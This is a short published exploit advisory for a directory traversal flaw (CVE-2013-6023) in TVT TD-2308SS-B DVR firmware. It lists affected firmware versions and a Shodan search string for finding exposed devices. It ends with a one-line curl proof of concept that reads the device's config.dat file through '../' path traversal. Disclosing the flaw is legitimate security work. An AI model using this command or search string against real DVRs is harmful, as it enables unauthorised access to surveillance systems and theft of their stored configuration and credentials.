# Exploit Title: TVT TD-2308SS-B DVR directory traversal # Shodan Dork: "Cross Web Server" # Date: 01 Dec 2013 # Disclosure date: 10 Sep 2013 # Exploit Author: Cesar Neira # Vendor Homepage: http://en.tvt.net.cn/ # Affected Firmware Versions: 3.1.43.B 3.1.43.P 3.1.6.P-1.0.2.1-03 3.1.75.B-1.0.2.1-00 3.1.7.B-1.0.2.1-00 3.1.81.B-1.0.2.1-00 3.1.83.B-1.0.2.1-00 3.1.83.P-1.0.4.2-03 3.1.87.P-1.0.4.2-17 3.1.91.P-1.0.2.1-03 3.1.92.P-1.0.2.1-00 3.1.93.B-1.0.2.1-17 3.2.0.B-1.0.2.1-17 3.2.0.P-1.0.2.1-03 3.2.0.P-1.0.2.1-17 3.2.0.P-1.0.6.0.32-00 3.2.0.P-3520A-00 3.2.0.P-3520A-03 3.2.0.P-3531-00 3.2.0.P-3531-11 3.2.0.P-FH-00 3.2.9.P-3520A-06 maybe others. # Tested on: TVT DVR TD-2308SS-B # CVE : CVE-2013-6023 # References: http://www.kb.cert.org/vuls/id/785838 http://alguienenlafisi.blogspot.com/2013/10/dvr-tvt-directory-traversal.html POC: curl http://[IP Address]/../../../mnt/mtd/config/config.dat 2>/dev/null | strings -- Cesar Neira <csar.1603@gmail.com> http://alguienenlafisi.blogspot.com Root-Node